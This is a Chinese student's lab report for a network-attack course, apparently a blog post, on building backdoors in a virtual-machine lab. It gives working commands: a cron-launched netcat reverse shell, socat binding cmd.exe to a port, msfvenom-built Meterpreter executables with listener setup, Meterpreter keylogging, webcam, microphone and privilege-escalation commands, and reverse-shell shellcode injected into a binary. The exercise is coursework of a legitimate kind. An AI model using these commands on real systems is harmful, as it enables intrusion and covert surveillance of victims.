20165205 Exp2 后门原理与实践

实验内容

一、基础问题回答

  1. 列举你能想到的一个后门进入到你系统中的可能方式
  • 下载盗版软件、操作系统
  • 当然正版软件里可能也有编写者安装的后门
  • 不在官方更新软件
  • 浏览危险网页
  • 购买二手电脑
  1. 列举你知道的后门如何启动起来(win及Linux)的方法
  • 后门伪装自己,后门伪装成正常软件,或者和正常软件绑定在一起,点击就运行了
  • cron启动
  • 被设置了开机自启动
  1. Meterpreter有哪些给你印象深刻的功能

    1. Meterpreter为我们准备好了许多零件,我们想要做一个攻击程序时,只需要输入参数,就可以拼接出一个我们想要的控制程序
    2. 攻击条件相对简单,而且可以做免杀软件,这对我们来说是很大的便利
    3. 面向平台广泛,不论是win、linux还是MAC,不管是32位还是64位还是86位,他都能做
  2. 如何发现自己的系统有没有被安装后门
  • 最靠谱的应该是杀毒软件吧,全盘扫描可以发现后门程序,我昨天做的backdoor.exe可以正常使用,今天就又被扫描了出来,提醒我有木马程序,可见杀毒软件可以定时扫描,不管是刚下载就是木马,还是从正常程序变成了木马程序,都可以被查出来(不过我们还没做免杀实验,我说这个话还是没有底气的hhh)
  • 假如你很有闲的话也可以去寻找伪装成正常软件的木马程序,他们往往都有个看起来很正常但是仔细看还是可以看出不太对的名字

二、实验步骤

0. 准备工作

  • 查看Kali的IP:10.1.1.239
  • 查看本机(win7)IP:10.1.1.169

1. 使用netcat获取主机操作Shell,cron启动

  • Cron是一种定时任务,每隔一分钟执行一次
  • 在Win7下,监听5205端口
  • 在Kali下,用crontab -e打开编辑界面,初次打开时会出现数字选择,此时选择3
  • 在最后一行添加31 * * * * /bin/netcat 10.1.1.169 5205 -e /bin/sh这里31指每小时的第31分钟去获取win7的,之后的*分别指小时,日,月,年(我在写博客的时候突然想到,假如这里是5个*会怎么办???)

  • 到达时间之后在win7端输入Linux命令,发现已经可以控制Kali端

2.使用socat获取主机操作Shell, 任务计划启动

  • socat可以创建两个双向的字节流,相当于建立一个传输通道,
  • 打开win7开始,搜索计算机管理
  • 任务计划程序中创建任务
  • 填写任务名
  • 新建一个触发器

  • 新建一个操作:设置-程序或脚本-选择socat.exe,添加参数tcp-listen:5205 exec:cmd.exe,pty,stderr此命令将cmd.exe绑定到端口5205,同时把cmd.exestderr重定向到stdout
  • 创建完成之后,按win+R锁定计算机后再打开计算机,此时我们刚刚创建的任务开始运行,代表这个双向的流建立好了,并且会出现一个taskeng.exe
  • 之后在Kali中输入socat-tcp:win7主机ip:端口 即输入socat-tcp: 10.1.1.239:5205此时可以得到cmd shell(写博客的时候发现忘记截图了o(╥﹏╥)o

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.239 LPORT=5205 -f exe > 20165205_backdoor.exe在这条命令中 windoes/meterpreter/reverse_tcp的作用是回连攻击端并获取cmd,所以这里是ip地址是Kali端地址,-f exe指定了格式,输出到EXE文件中,这样win7才能运行

  • 在win7的cmd中输入ncat.exe -l 5205 > 20165205_backdoor.exe,这时win7准备好从对方5205号端口处接收叫做20165205_backdoor.exe文件。

  • 在Kali端输入nc 10.1.1.169 5205 < 20165205_backdoor.exe将后门程序传送到win7中

  • 在Kali的终端输入msfconsole进入控制台,此时可能要加载一段时间,需要耐心等待
  • 进入控制台后,输入use exploit/multi/handler进入监听模块
  • 为了与我们的后门程序的设置相匹配,还要输入一系列参数
    • set payload windows/meterpreter/reverse_tcp这里是刚刚创建后门程序时的payload
    • set LHOST 10.1.1.239回连IP
    • set LPORT 5205回连端口
  • exploit启动监听:刚开始会处于等待状态

  • 在win7中运行后门程序,此时提示杀毒软件检测到后门程序,将后门程序添加到信任列表中。

  • 此时Kali上取得了win7主机的控制权

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 音频:record_mic
  • 摄像头:webcam_snap

  • 击键记录:
    • keyscan_start开始记录
    • keyscan_dump回显记录
  • 截屏:screenshot

  • 提权:getsystem

    5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 刚开始我看到这个这个题目,我想先生成shellcode,然后按照实验一的方法,注入到pwn1中,然后放到win7中,获取到shell
    • 第一步,获取shellcode

    • 然后把shellcode先复制到文本文件里,然后就向实验一一样,借助gdb调试,但是发现并不跟想象一样简单
      • 第一个问题是实验一中注入之后,这个进程不会立刻结束,可以等我打开gdb调试,但是这个就直接注入就结束了,所有我就没有办法找到1234处我要填什么(这里我做到后来发现是因为没有规避掉\x0a)
      • 第二个问题是就算我注入成功,pwn1的格式是ELF、win7也是不能运行的
  • 这样的话,我就打算用Ubuntu x86作为靶机来做这个实验了。之后就可以来找msfvenom的参数了,通过msfvenom -l payload找到想要的参数
    • 可以看到linux/x86/shell/reverse_tcplinux/x86/shell_reverse_tcp看到这两个的描述都是反弹回连并且获取shell
    • 由于按照实验一的方法注入不了,所有我打算直接覆盖掉pwn1(不知道这样是不是不太符合老师的要求了hhhhhh)(不过后面我还是回归正途了QAQ)
    • 这里的命令就写msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.1.1.239 LPORT=5205 -f elf -x ./pwn1 > pwn_20165205_2
    • 注意这里要写文件的格式:elf,以及文件的地址:./pwn1
    • 然后把生成的文件人工拖到Ubuntu虚拟机里
    • 依旧要set LHOST LPORT
    • 但是我发现并没有成果,exploit之后就一直停留在等待状态
    • 之后检查的时候发现原来是我的虚拟机的IP变了(哭辽)
  • 刚开始检查的时候没有找到错误,然后我就直接去百度了,我查到的那篇博客里用的payload和我用的不一样,但是因为别人成功了嘛,我就照着他的博客里写了,他使用的命令是msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.195 LPORT=5205 -x ./pwn1 -f elf > pwn_20165205_3

做到这里的时候,老师说这样做是不对的(虽然我一直都知道我是做跑偏了,但是还是捂住自己,不让自己哭出来)

那么现在让我们回归正途

  • 打算就在Kail上做的话,参数就是linux/x64/shell/reverse_tcp 攻击机IP 攻击机端口 -f c -a \x0a
  • 生成shellcode 然后复制到文档里,删掉引号,备用
  • 然后注入, gdb,修改地址(这是实验一的步骤,不多描述了)

  • 然后就打开msfmsfconsole
  • 设置payload,ip,端口,然后开始监听exploit
  • 监听等待,然后注入并运行这个程序,感觉马上就要成功了呢
  • 然而并没有

  • 开始反思:是不是payload错了,然后然后我又把payload改成linux/x64/meterpretr_reverse_tcp,当然这也还是连不上
  • 我开始想会不会是因为靶机和攻击机是同一个,或者是msf生成的shellcode不能这样用。。。。。。然后我就想,要不就再开一个虚拟机试一下(开了Ubuntu,86位的,还没关随机地址,也没关地址保护,不过假如用Ubuntu做攻击机,他可以吗???,想到这里,头突然有点痛,对不起老师,我先睡了)

遇到的问题和解决方法

遇到的问题就是第五点,即使注入了还是连不上,解决方法是:。。。对不起,我忘记我还没用解决了,当然我的想法就是两个,一个是这段shellcode不能这样用,二是不应该在一台机子里做

实验感想

讲真的这个实验前几点很好做,再一次深深的感叹:站在巨人的肩膀上就是很方便,不用自己摸索,做第五点的时候,我先自己做了一下,当然刚开始就问题比较大,后来找到了jzy学姐的博客,她的解决方法是直接生成文件,与pwn1唯一的联系是把:修改pwn1,另存为pwn234,我也是前面的路走不下去了就想干脆就这样解决吧,后来发现这样解决是不加分的(也就是说不对),然后回归正途,发现还是做不出来啊(#`O′)。

2018-2019-2 20165205 Exp2 后门原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  3. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  4. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  6. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  7. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

随机推荐

  1. fiddler 一些不为人知的功能

    1. fiddler的ctrl+F查找功能 可以进行正则表达式查找: 勾选Regular Expression,find中出现REGEX:,在这后面输入正则表达式即可进行匹配查找 2. fiddler ...

  2. 1040 mysql Too many connections

    笔者在项目中遇到mysql 出现:1040 too many connections 异常,意思是超过数据库最大连接数,打不开表结构信息.笔者排除问题建议:1.查看程序代码是否存在BUG:2.检查代码 ...

  3. NABCD(团队项目)

    N (Need 需求) 随着时代的进步和手机迅速发展,各种软件充斥这我们的生活,在学校里,我们总为一些各种各样的群所困扰,我们需要一件工具整合信息,让我们的生活更加便利. A (Approach 做法 ...

  4. Qt学习3---子窗口与父窗口

    创建子窗口后,主窗口的头文件需要  #include "子窗口头文件" 子窗口和父窗口之间相互切换 子窗口没有办法处理父窗口,子窗口此时就需要一个信号: * 信号必须有signal ...

  5. java标志性接口

    标识接口是没有任何方法和属性的接口.它仅仅表明它的类属于一个特定的类型,供其他代码来测试允许做一些事情.使用标记接口的唯一目的是使得可以用instanceof进行类型查询,例如:if(obj inst ...

  6. ue4 StringTable

    StringTable 用法很简单可以参考 https://blog.csdn.net/u012801153/article/details/80393531 这里只说说上面文章中没提到的小技巧  T ...

  7. 记一次node进程无法kill 问题

    起因 开发反馈测试环境某 node 进程使用 pm2 log 查看日志提示端口冲突,pm2 restart 重启进程问题依旧,但该服务可正常访问. 处理过程: 访问该服务 URL 业务正常,查看 Ng ...

  8. docker:构建nginx+php-fpm镜像(一):构建nginx自启动镜像

    步骤一:手动安装nginx环境,并记录全过程: #使用yum更新系统 yum -y update   #下面编译安装tengine,查看有哪些包需要安装 #安装wget包,用于获取安装软件包 yum ...

  9. python基础知识7---补充

    ''' 不可变:数字,字符串,元组 可变:列表,字典 原子:数字,字符串 容器:列表,元组,字典 直接访问:数字 顺序:字符串,列表,元组 映射访问:字典 ''' #一一对应 a,b,c,d,e='h ...

  10. Ubuntu 15.10 下Tachyon安装

    1 系统环境 Ubuntu 15.10, Java 1.7, Hadoop 2.6.0 HA, Spark-1.4.0 三台机器 spark-1423-0001: Master, Worker spa ...